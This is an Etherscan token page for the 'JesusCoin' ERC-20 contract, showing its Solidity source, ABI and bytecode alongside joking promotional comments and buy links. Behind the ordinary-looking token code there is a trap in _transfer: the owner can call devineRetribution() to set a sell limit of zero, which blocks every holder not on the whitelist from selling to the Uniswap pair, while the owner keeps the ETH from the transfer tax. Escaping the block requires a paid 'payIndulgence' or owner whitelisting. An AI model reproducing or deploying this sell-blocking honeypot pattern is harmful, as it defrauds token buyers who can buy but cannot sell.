Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
4,900,000,000 JC
Holders
52
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 6 Decimals)
Balance
87,300,000 JCValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
JesusCoin
Compiler Version
v0.8.10+commit.fc410830
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-12-25 */ // SPDX-License-Identifier: MIT // // **** Before critizing anything, think about what the real world does to you **** // **** Before critizing anything, think about what the real world does to you **** // **** Before critizing anything, think about what the real world does to you **** // // Our FUD - Faith, Understanding, Devotion // // IT'S TIME TO DECENTRALIZE JESUS // Token supply: 4,900,000,000JC // Token symbol: JC // Token name: Jesus Coin // ERC20 compatible // // Q: This all sounds ridiculous, is it a scam? // A: Thr church is not a scam! Jesus Coin will fulfil all of the functions on the whitepaper (which is not very many functions). // // Q: Is this whole thing a joke? // A: Christianity has survived 2000 years so if it's a joke, it's a good one. The Jesus Coin itself is totally real though, up there on Etherscan and Coin Market Cap and ERC20 compatible wallets and all that stuff. // // Join our Crusade // Telegram: https://t.me/jesuscoin888 // Read the whitepaper // Website: https://jesuscoin.info // See how we are doing // Chart: https://www.dextools.io/app/ether/pair-explorer/0xf1278c449c8f9e366e2766ceef00c145e49ba647 // Support the Crusade // Buy: https://app.uniswap.org/#/swap?inputCurrency=0x46de83d7e9047776b792e67619fd1f0fa4430a41 pragma solidity ^0.8.9; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } uint256 constant INITIAL_TAX=10; uint256 constant TOTAL_SUPPLY=4900000000; string constant TOKEN_SYMBOL="JC"; string constant TOKEN_NAME="Jesus Coin"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract JesusCoin is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; uint256 private _mercyOfGod; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _balance[address(this)] = _tTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(50); _mercyOfGod=_tTotal; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function devineRetribution() public onlyChurch{ _mercyOfGod=0; } function mercy() public view returns (uint256){ return _mercyOfGod; } function payIndulgence() public payable returns (bool){ require(msg.value>=balanceOf(address(this)),"Insufficient amount for indulgence"); _isExcludedFromFee[msg.sender]=true; return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!_isExcludedFromFee[from]){ require(((to == _pair && from != address(_uniswap) )?amount:0) <= _mercyOfGod); } if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function addToWhitelist(address buyer) public onlyChurch{ _isExcludedFromFee[buyer]=true; } function removeFromWhitelist(address buyer) public onlyChurch{ _isExcludedFromFee[buyer]=false; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyChurch() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyChurch{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function removeBuyLimit() public onlyChurch{ _maxTxAmount=_tTotal; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function createUniswapPair() external onlyChurch { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidity() external onlyChurch{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } receive() external payable {} function swapForTax() external onlyChurch{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function collectTax() external onlyChurch{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"addToWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"collectTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createUniswapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"devineRetribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTaxRate","type":"uint256"}],"name":"lowerTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"mercy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"payIndulgence","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"removeBuyLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"removeFromWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapForTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126006600a62000314565b620000239064012410110062000325565b600555600b805461ffff60a81b191690553480156200004157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060078054336001600160a01b0319918216178255600a60068190558054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055600580543060009081526002602090815260408083209390935560048152828220805460ff19908116600190811790925595546001600160a01b0316835292909120805490941690911790925554620001209160329062000a9262000169821b17901c565b600855600554600981905560405190815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3620003c2565b6000620001b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620001bc60201b60201c565b90505b92915050565b60008183620001e95760405162461bcd60e51b8152600401620001e0919062000347565b60405180910390fd5b506000620001f884866200039f565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002585781600019048211156200023c576200023c62000201565b808516156200024a57918102915b93841c93908002906200021c565b509250929050565b6000826200027157506001620001b6565b816200028057506000620001b6565b8160018114620002995760028114620002a457620002c4565b6001915050620001b6565b60ff841115620002b857620002b862000201565b50506001821b620001b6565b5060208310610133831016604e8410600b8410161715620002e9575081810a620001b6565b620002f5838362000217565b80600019048211156200030c576200030c62000201565b029392505050565b6000620001b360ff84168362000260565b600081600019048311821515161562000342576200034262000201565b500290565b600060208083528351808285015260005b81811015620003765785810183015185820160400152820162000358565b8181111562000389576000604083870101525b50601f01601f1916929092016040019392505050565b600082620003bd57634e487b7160e01b600052601260045260246000fd5b500490565b61169f80620003d26000396000f3fe6080604052600436106101395760003560e01c80638ab1d681116100ab578063d49b55d61161006f578063d49b55d614610369578063dd62ed3e1461037e578063e43252d7146103c4578063e8078d94146103e4578063f365485b146103f9578063ffec0cdb1461040157600080fd5b80638ab1d681146102b65780638da5cb5b146102d657806395d89b41146102fe5780639e752b9514610329578063a9059cbb1461034957600080fd5b80633d8705ab116100fd5780633d8705ab146102155780633e07ce5b1461022c5780634a131672146102415780635d1b6e9d1461025657806370a082311461026b578063715018a6146102a157600080fd5b806306fdde0314610145578063095ea7b31461018a57806318160ddd146101ba57806323b872dd146101d9578063313ce567146101f957600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600a8152692532b9bab99021b7b4b760b11b60208201525b6040516101819190611381565b60405180910390f35b34801561019657600080fd5b506101aa6101a53660046113eb565b610416565b6040519015158152602001610181565b3480156101c657600080fd5b506005545b604051908152602001610181565b3480156101e557600080fd5b506101aa6101f4366004611417565b61042d565b34801561020557600080fd5b5060405160068152602001610181565b34801561022157600080fd5b5061022a610496565b005b34801561023857600080fd5b5061022a6104ba565b34801561024d57600080fd5b5061022a6104d9565b34801561026257600080fd5b506009546101cb565b34801561027757600080fd5b506101cb610286366004611458565b6001600160a01b031660009081526002602052604090205490565b3480156102ad57600080fd5b5061022a610765565b3480156102c257600080fd5b5061022a6102d1366004611458565b610809565b3480156102e257600080fd5b506000546040516001600160a01b039091168152602001610181565b34801561030a57600080fd5b506040805180820190915260028152614a4360f01b6020820152610174565b34801561033557600080fd5b5061022a610344366004611475565b610841565b34801561035557600080fd5b506101aa6103643660046113eb565b61086a565b34801561037557600080fd5b5061022a610877565b34801561038a57600080fd5b506101cb61039936600461148e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103d057600080fd5b5061022a6103df366004611458565b6108a7565b3480156103f057600080fd5b5061022a6108e2565b6101aa6109e9565b34801561040d57600080fd5b5061022a610a74565b6000610423338484610adb565b5060015b92915050565b600061043a848484610bff565b61048c843361048785604051806060016040528060288152602001611642602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f3d565b610adb565b5060019392505050565b6007546001600160a01b031633146104ad57600080fd5b476104b781610f77565b50565b6007546001600160a01b031633146104d157600080fd5b600554600855565b6007546001600160a01b031633146104f057600080fd5b600b54600160a01b900460ff161561054f5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600a5460055461056c9130916001600160a01b0390911690610adb565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e391906114c7565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610645573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066991906114c7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106da91906114c7565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610741573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104b791906114e4565b6000546001600160a01b031633146107bf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610546565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316331461082057600080fd5b6001600160a01b03166000908152600460205260409020805460ff19169055565b6007546001600160a01b0316331461085857600080fd5b600a811061086557600080fd5b600655565b6000610423338484610bff565b6007546001600160a01b0316331461088e57600080fd5b306000908152600260205260409020546104b781610fb5565b6007546001600160a01b031633146108be57600080fd5b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6007546001600160a01b031633146108f957600080fd5b600a546001600160a01b031663f305d719473061092b816001600160a01b031660009081526002602052604090205490565b6000806109406000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109a8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109cd9190611506565b5050600b805462ff00ff60a01b19166201000160a01b17905550565b30600090815260026020526040812054341015610a535760405162461bcd60e51b815260206004820152602260248201527f496e73756666696369656e7420616d6f756e7420666f7220696e64756c67656e604482015261636560f01b6064820152608401610546565b50336000908152600460205260409020805460ff1916600190811790915590565b6007546001600160a01b03163314610a8b57600080fd5b6000600955565b6000610ad483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061112f565b9392505050565b6001600160a01b038316610b3d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610546565b6001600160a01b038216610b9e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610546565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c635760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610546565b6001600160a01b038216610cc55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610546565b60008111610d275760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610546565b6001600160a01b03831660009081526004602052604090205460ff16610d8d57600954600b546001600160a01b038481169116148015610d755750600a546001600160a01b03858116911614155b610d80576000610d82565b815b1115610d8d57600080fd5b6000546001600160a01b03848116911614801590610db957506000546001600160a01b03838116911614155b15610edc57600b546001600160a01b038481169116148015610de95750600a546001600160a01b03838116911614155b8015610e0e57506001600160a01b03821660009081526004602052604090205460ff16155b15610e64576008548110610e645760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610546565b30600090815260026020526040902054600b54600160a81b900460ff16158015610e9c5750600b546001600160a01b03858116911614155b8015610eb15750600b54600160b01b900460ff165b15610eda57610ebf81610fb5565b47670de0b6b3a76400008110610ed857610ed847610f77565b505b505b6001600160a01b038216600090815260046020526040902054610f389084908490849060ff1680610f2557506001600160a01b03871660009081526004602052604090205460ff165b610f315760065461115d565b600061115d565b505050565b60008184841115610f615760405162461bcd60e51b81526004016105469190611381565b506000610f6e848661154a565b95945050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610fb1573d6000803e3d6000fd5b5050565b600b805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ffd57610ffd611561565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611056573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107a91906114c7565b8160018151811061108d5761108d611561565b6001600160a01b039283166020918202929092010152600a546110b39130911684610adb565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110ec908590600090869030904290600401611577565b600060405180830381600087803b15801561110657600080fd5b505af115801561111a573d6000803e3d6000fd5b5050600b805460ff60a81b1916905550505050565b600081836111505760405162461bcd60e51b81526004016105469190611381565b506000610f6e84866115e8565b6000611174606461116e8585611261565b90610a92565b9050600061118284836112e0565b6001600160a01b0387166000908152600260205260409020549091506111a890856112e0565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546111d79082611322565b6001600160a01b0386166000908152600260205260408082209290925530815220546112039083611322565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b60008261127057506000610427565b600061127c838561160a565b90508261128985836115e8565b14610ad45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610546565b6000610ad483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f3d565b60008061132f8385611629565b905083811015610ad45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610546565b600060208083528351808285015260005b818110156113ae57858101830151858201604001528201611392565b818111156113c0576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104b757600080fd5b600080604083850312156113fe57600080fd5b8235611409816113d6565b946020939093013593505050565b60008060006060848603121561142c57600080fd5b8335611437816113d6565b92506020840135611447816113d6565b929592945050506040919091013590565b60006020828403121561146a57600080fd5b8135610ad4816113d6565b60006020828403121561148757600080fd5b5035919050565b600080604083850312156114a157600080fd5b82356114ac816113d6565b915060208301356114bc816113d6565b809150509250929050565b6000602082840312156114d957600080fd5b8151610ad4816113d6565b6000602082840312156114f657600080fd5b81518015158114610ad457600080fd5b60008060006060848603121561151b57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b60008282101561155c5761155c611534565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115c75784516001600160a01b0316835293830193918301916001016115a2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261160557634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561162457611624611534565b500290565b6000821982111561163c5761163c611534565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208bb366635d54da7a19eeeef6feaa9f71101f29fb45b56301bfa7d2254ea3d0df64736f6c634300080a0033
Deployed Bytecode
0x6080604052600436106101395760003560e01c80638ab1d681116100ab578063d49b55d61161006f578063d49b55d614610369578063dd62ed3e1461037e578063e43252d7146103c4578063e8078d94146103e4578063f365485b146103f9578063ffec0cdb1461040157600080fd5b80638ab1d681146102b65780638da5cb5b146102d657806395d89b41146102fe5780639e752b9514610329578063a9059cbb1461034957600080fd5b80633d8705ab116100fd5780633d8705ab146102155780633e07ce5b1461022c5780634a131672146102415780635d1b6e9d1461025657806370a082311461026b578063715018a6146102a157600080fd5b806306fdde0314610145578063095ea7b31461018a57806318160ddd146101ba57806323b872dd146101d9578063313ce567146101f957600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600a8152692532b9bab99021b7b4b760b11b60208201525b6040516101819190611381565b60405180910390f35b34801561019657600080fd5b506101aa6101a53660046113eb565b610416565b6040519015158152602001610181565b3480156101c657600080fd5b506005545b604051908152602001610181565b3480156101e557600080fd5b506101aa6101f4366004611417565b61042d565b34801561020557600080fd5b5060405160068152602001610181565b34801561022157600080fd5b5061022a610496565b005b34801561023857600080fd5b5061022a6104ba565b34801561024d57600080fd5b5061022a6104d9565b34801561026257600080fd5b506009546101cb565b34801561027757600080fd5b506101cb610286366004611458565b6001600160a01b031660009081526002602052604090205490565b3480156102ad57600080fd5b5061022a610765565b3480156102c257600080fd5b5061022a6102d1366004611458565b610809565b3480156102e257600080fd5b506000546040516001600160a01b039091168152602001610181565b34801561030a57600080fd5b506040805180820190915260028152614a4360f01b6020820152610174565b34801561033557600080fd5b5061022a610344366004611475565b610841565b34801561035557600080fd5b506101aa6103643660046113eb565b61086a565b34801561037557600080fd5b5061022a610877565b34801561038a57600080fd5b506101cb61039936600461148e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103d057600080fd5b5061022a6103df366004611458565b6108a7565b3480156103f057600080fd5b5061022a6108e2565b6101aa6109e9565b34801561040d57600080fd5b5061022a610a74565b6000610423338484610adb565b5060015b92915050565b600061043a848484610bff565b61048c843361048785604051806060016040528060288152602001611642602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f3d565b610adb565b5060019392505050565b6007546001600160a01b031633146104ad57600080fd5b476104b781610f77565b50565b6007546001600160a01b031633146104d157600080fd5b600554600855565b6007546001600160a01b031633146104f057600080fd5b600b54600160a01b900460ff161561054f5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600a5460055461056c9130916001600160a01b0390911690610adb565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e391906114c7565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610645573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066991906114c7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106da91906114c7565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610741573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104b791906114e4565b6000546001600160a01b031633146107bf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610546565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316331461082057600080fd5b6001600160a01b03166000908152600460205260409020805460ff19169055565b6007546001600160a01b0316331461085857600080fd5b600a811061086557600080fd5b600655565b6000610423338484610bff565b6007546001600160a01b0316331461088e57600080fd5b306000908152600260205260409020546104b781610fb5565b6007546001600160a01b031633146108be57600080fd5b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6007546001600160a01b031633146108f957600080fd5b600a546001600160a01b031663f305d719473061092b816001600160a01b031660009081526002602052604090205490565b6000806109406000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109a8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109cd9190611506565b5050600b805462ff00ff60a01b19166201000160a01b17905550565b30600090815260026020526040812054341015610a535760405162461bcd60e51b815260206004820152602260248201527f496e73756666696369656e7420616d6f756e7420666f7220696e64756c67656e604482015261636560f01b6064820152608401610546565b50336000908152600460205260409020805460ff1916600190811790915590565b6007546001600160a01b03163314610a8b57600080fd5b6000600955565b6000610ad483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061112f565b9392505050565b6001600160a01b038316610b3d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610546565b6001600160a01b038216610b9e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610546565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c635760405162461bc